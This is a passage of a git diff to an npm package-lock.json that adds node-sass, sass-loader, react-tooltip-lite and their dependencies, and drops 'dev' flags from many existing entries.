"resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" + }, + "psl": { + "version": "1.1.31", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.31.tgz", + "integrity": "sha512-/6pt4+C+T+wZUieKR620OpzN/LlnNKuWjy1iFLQ/UG35JqHlR/89MP1d96dUfkf6Dne3TuLQzOYEYshJ+Hx8mw==" + }, + "request": { + "version": "2.88.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", + "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", + "requires": { + "aws-sign2": "0.7.0", + "aws4": "1.8.0", + "caseless": "0.12.0", + "combined-stream": "1.0.6", + "extend": "3.0.2", + "forever-agent": "0.6.1", + "form-data": "2.3.2", + "har-validator": "5.1.3", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.22", + "oauth-sign": "0.9.0", + "performance-now": "2.1.0", + "qs": "6.5.2", + "safe-buffer": "5.1.2", + "tough-cookie": "2.4.3", + "tunnel-agent": "0.6.0", + "uuid": "3.3.2" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "semver": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", + "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=" + }, + "tough-cookie": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", + "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", + "requires": { + "psl": "1.1.31", + "punycode": "1.4.1" + } + }, + "uuid": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", + "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" + } + } + }, "node-libs-browser": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.1.0.tgz", @@ -9695,6 +9959,157 @@ } } }, + "node-sass": { + "version": "4.11.0", + "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.11.0.tgz", + "integrity": "sha512-bHUdHTphgQJZaF1LASx0kAviPH7sGlcyNhWade4eVIpFp6tsn7SV8xNMTbsQFpEV9VXpnwTTnNYlfsZXgGgmkA==", + "requires": { + "async-foreach": "0.1.3", + "chalk": "1.1.3", + "cross-spawn": "3.0.1", + "gaze": "1.1.3", + "get-stdin": "4.0.1", + "glob": "7.1.3", + "in-publish": "2.0.0", + "lodash.assign": "4.2.0", + "lodash.clonedeep": "4.5.0", + "lodash.mergewith": "4.6.1", + "meow": "3.7.0", + "mkdirp": "0.5.1", + "nan": "2.13.1", + "node-gyp": "3.8.0", + "npmlog": "4.1.2", + "request": "2.88.0", + "sass-graph": "2.2.4", + "stdout-stream": "1.4.1", + "true-case-path": "1.0.3" + }, + "dependencies": { + "ajv": { + "version": "6.10.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", + "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", + "requires": { + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" + } + }, + "aws4": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz", + "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==" + }, + "cross-spawn": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz", + "integrity": "sha1-ElYDfsufDF9549bvE14wdwGEuYI=", + "requires": { + "lru-cache": "4.1.3", + "which": "1.3.0" + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=" + }, + "har-validator": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", + "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", + "requires": { + "ajv": "6.10.0", + "har-schema": "2.0.0" + } + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "mime-db": { + "version": "1.38.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.38.0.tgz", + "integrity": "sha512-bqVioMFFzc2awcdJZIzR3HjZFX20QhilVS7hytkKrv7xFAn8bM1gzc/FOX2awLISvWe0PV8ptFKcon+wZ5qYkg==" + }, + "mime-types": { + "version": "2.1.22", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.22.tgz", + "integrity": "sha512-aGl6TZGnhm/li6F7yx82bJiBZwgiEa4Hf6CNr8YO+r5UHr53tSTYZb102zyU50DOWWKeOv0uQLRL0/9EiKWCog==", + "requires": { + "mime-db": "1.38.0" + } + }, + "nan": { + "version": "2.13.1", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.13.1.tgz", + "integrity": "sha512-I6YB/YEuDeUZMmhscXKxGgZlFnhsn5y0hgOZBadkzfTRrZBtJDZeg6eQf7PYMIEclwmorTKK8GztsyOUSVBREA==" + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" + }, + "psl": { + "version": "1.1.31", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.31.tgz", + "integrity": "sha512-/6pt4+C+T+wZUieKR620OpzN/LlnNKuWjy1iFLQ/UG35JqHlR/89MP1d96dUfkf6Dne3TuLQzOYEYshJ+Hx8mw==" + }, + "request": { + "version": "2.88.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", + "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", + "requires": { + "aws-sign2": "0.7.0", + "aws4": "1.8.0", + "caseless": "0.12.0", + "combined-stream": "1.0.6", + "extend": "3.0.2", + "forever-agent": "0.6.1", + "form-data": "2.3.2", + "har-validator": "5.1.3", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.22", + "oauth-sign": "0.9.0", + "performance-now": "2.1.0", + "qs": "6.5.2", + "safe-buffer": "5.1.2", + "tough-cookie": "2.4.3", + "tunnel-agent": "0.6.0", + "uuid": "3.3.2" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "tough-cookie": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", + "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", + "requires": { + "psl": "1.1.31", + "punycode": "1.4.1" + } + }, + "uuid": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", + "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" + } + } + }, "noms": { "version": "0.0.0", "resolved": "https://registry.npmjs.org/noms/-/noms-0.0.0.tgz", @@ -9709,7 +10124,6 @@ "version": "3.0.6", "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", - "dev": true, "requires": { "abbrev": "1.0.9" } @@ -9718,7 +10132,6 @@ "version": "2.4.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", - "dev": true, "requires": { "hosted-git-info": "2.7.1", "is-builtin-module": "1.0.0", @@ -12445,6 +12858,17 @@ "path-key": "2.0.1" } }, + "npmlog": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", + "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", + "requires": { + "are-we-there-yet": "1.1.5", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" + } + }, "nth-check": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.1.tgz", @@ -12463,8 +12887,7 @@ "number-is-nan": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", - "dev": true + "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=" }, "oauth-sign": { "version": "0.8.2", @@ -12609,7 +13032,6 @@ "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", - "dev": true, "requires": { "wrappy": "1.0.2" } @@ -12694,8 +13116,7 @@ "os-homedir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", - "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", - "dev": true + "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=" }, "os-locale": { "version": "2.1.0", @@ -12711,8 +13132,16 @@ "os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", - "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", - "dev": true + "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=" + }, + "osenv": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", + "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", + "requires": { + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" + } }, "output-file-sync": { "version": "1.1.2", @@ -12867,7 +13296,6 @@ "version": "2.2.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", - "dev": true, "requires": { "error-ex": "1.3.2" } @@ -12918,7 +13346,6 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", - "dev": true, "requires": { "pinkie-promise": "2.0.1" } @@ -12926,8 +13353,7 @@ "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", - "dev": true + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" }, "path-is-inside": { "version": "1.0.2", @@ -12951,7 +13377,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", - "dev": true, "requires": { "graceful-fs": "4.1.11", "pify": "2.3.0", @@ -12986,8 +13411,7 @@ "performance-now": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", - "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", - "dev": true + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" }, "phantomjs-prebuilt": { "version": "2.1.16", @@ -13009,20 +13433,17 @@ "pify": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", - "dev": true + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" }, "pinkie": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", - "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=", - "dev": true + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=" }, "pinkie-promise": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", - "dev": true, "requires": { "pinkie": "2.0.4" } @@ -13267,8 +13688,7 @@ "pseudomap": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", - "dev": true + "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=" }, "psl": { "version": "1.1.20", @@ -13321,8 +13741,7 @@ "punycode": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", - "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", - "dev": true + "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=" }, "pure-color": { "version": "1.3.0", @@ -13344,8 +13763,7 @@ "qs": { "version": "6.5.2", "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", - "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==", - "dev": true + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" }, "querystring": { "version": "0.2.0", @@ -13666,6 +14084,14 @@ "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" }, + "react-minimalist-portal": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/react-minimalist-portal/-/react-minimalist-portal-2.3.1.tgz", + "integrity": "sha1-SFPj9Ip0oywbh2dgGIfN95Qe66M=", + "requires": { + "prop-types": "15.6.2" + } + }, "react-overlays": { "version": "0.8.3", "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.8.3.tgz", @@ -13806,6 +14232,15 @@ "classnames": "2.2.5" } }, + "react-tooltip-lite": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.9.1.tgz", + "integrity": "sha512-JH5T6kPZn7X90TnnNhuJ+wOb1eikT2xtpbOkndvqAHZlOyZOAZeAyVgk/3pGz0xi4h+bqXXisfwGtriliTYhDQ==", + "requires": { + "prop-types": "15.6.2", + "react-minimalist-portal": "2.3.1" + } + }, "react-transition-group": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.5.0.tgz", @@ -13831,7 +14266,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", - "dev": true, "requires": { "load-json-file": "1.1.0", "normalize-package-data": "2.4.0", @@ -13842,7 +14276,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", - "dev": true, "requires": { "find-up": "1.1.2", "read-pkg": "1.1.0" @@ -13928,7 +14361,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz", "integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=", - "dev": true, "requires": { "indent-string": "2.1.0", "strip-indent": "1.0.1" @@ -14085,7 +14517,6 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz", "integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=", - "dev": true, "requires": { "is-finite": "1.0.2" } @@ -14155,14 +14586,12 @@ "require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", - "dev": true + "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=" }, "require-main-filename": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", - "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", - "dev": true + "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=" }, "require-uncached": { "version": "1.0.3", @@ -14250,7 +14679,6 @@ "version": "2.6.2", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", - "dev": true, "requires": { "glob": "7.1.3" } @@ -14295,8 +14723,7 @@ "safe-buffer": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", - "dev": true + "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=" }, "safe-regex": { "version": "1.1.0", @@ -14313,6 +14740,141 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", "dev": true }, + "sass-graph": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.4.tgz", + "integrity": "sha1-E/vWPNHK8JCLn9k0dq1DpR0eC0k=", + "requires": { + "glob": "7.1.3", + "lodash": "4.17.10", + "scss-tokenizer": "0.2.3", + "yargs": "7.1.0" + }, + "dependencies": { + "camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", + "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=" + }, + "cliui": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", + "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", + "requires": { + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wrap-ansi": "2.1.0" + } + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "requires": { + "number-is-nan": "1.0.1" + } + }, + "os-locale": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", + "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", + "requires": { + "lcid": "1.0.0" + } + }, + "string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + } + }, + "which-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz", + "integrity": "sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=" + }, + "yargs": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.0.tgz", + "integrity": "sha1-a6MY6xaWFyf10oT46gA+jWFU0Mg=", + "requires": { + "camelcase": "3.0.0", + "cliui": "3.2.0", + "decamelize": "1.2.0", + "get-caller-file": "1.0.3", + "os-locale": "1.4.0", + "read-pkg-up": "1.0.1", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "1.0.2", + "which-module": "1.0.0", + "y18n": "3.2.1", + "yargs-parser": "5.0.0" + } + }, + "yargs-parser": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.0.tgz", + "integrity": "sha1-J17PDX/+Bcd+ZOfIbkzZS/DhIoo=", + "requires": { + "camelcase": "3.0.0" + } + } + } + }, + "sass-loader": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.1.0.tgz", + "integrity": "sha512-+G+BKGglmZM2GUSfT9TLuEp6tzehHPjAMoRRItOojWIqIGPloVCMhNIQuG639eJ+y033PaGTSjLaTHts8Kw79w==", + "requires": { + "clone-deep": "2.0.2", + "loader-utils": "1.2.3", + "lodash.tail": "4.1.1", + "neo-async": "2.5.2", + "pify": "3.0.0", + "semver": "5.6.0" + }, + "dependencies": { + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" + }, + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "requires": { + "minimist": "1.2.0" + } + }, + "loader-utils": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", + "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", + "requires": { + "big.js": "5.2.2", + "emojis-list": "2.1.0", + "json5": "1.0.1" + } + }, + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + }, + "semver": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.6.0.tgz", + "integrity": "sha512-RS9R6R35NYgQn++fkDWaOmqGoj4Ek9gGs+DPxNUZKuwE183xjJroKvyo1IzVFeXvUrvmALy6FWD5xrdJT25gMg==" + } + } + }, "scheduler": { "version": "0.11.2", "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.11.2.tgz", @@ -14332,6 +14894,25 @@ "ajv-keywords": "3.2.0" } }, + "scss-tokenizer": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz", + "integrity": "sha1-jrBtualyMzOCTT9VMGQRSYR85dE=", + "requires": { + "js-base64": "2.5.1", + "source-map": "0.4.4" + }, + "dependencies": { + "source-map": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", + "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", + "requires": { + "amdefine": "1.0.1" + } + } + } + }, "select-hose": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", @@ -14350,8 +14931,7 @@ "semver": { "version": "4.3.6", "resolved": "https://registry.npmjs.org/semver/-/semver-4.3.6.tgz", - "integrity": "sha1-MAvG4OhjdPe6YQaLWx7NV/xlMto=", - "dev": true + "integrity": "sha1-MAvG4OhjdPe6YQaLWx7NV/xlMto=" }, "send": { "version": "0.16.2", @@ -14459,8 +15039,7 @@ "set-blocking": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=" }, "set-immediate-shim": { "version": "1.0.1", @@ -14532,6 +15111,23 @@ } } }, + "shallow-clone": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz", + "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==", + "requires": { + "is-extendable": "0.1.1", + "kind-of": "5.1.0", + "mixin-object": "2.0.1" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" + } + } + }, "shallowequal": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/shallowequal/-/shallowequal-1.1.0.tgz", @@ -14556,8 +15152,7 @@ "signal-exit": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", - "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=", - "dev": true + "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=" }, "slash": { "version": "1.0.0", @@ -14862,7 +15457,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz", "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", - "dev": true, "requires": { "spdx-expression-parse": "3.0.0", "spdx-license-ids": "3.0.0" @@ -14871,14 +15465,12 @@ "spdx-exceptions": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.1.0.tgz", - "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==", - "dev": true + "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==" }, "spdx-expression-parse": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", - "dev": true, "requires": { "spdx-exceptions": "2.1.0", "spdx-license-ids": "3.0.0" @@ -14887,8 +15479,7 @@ "spdx-license-ids": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.0.tgz", - "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==", - "dev": true + "integrity": 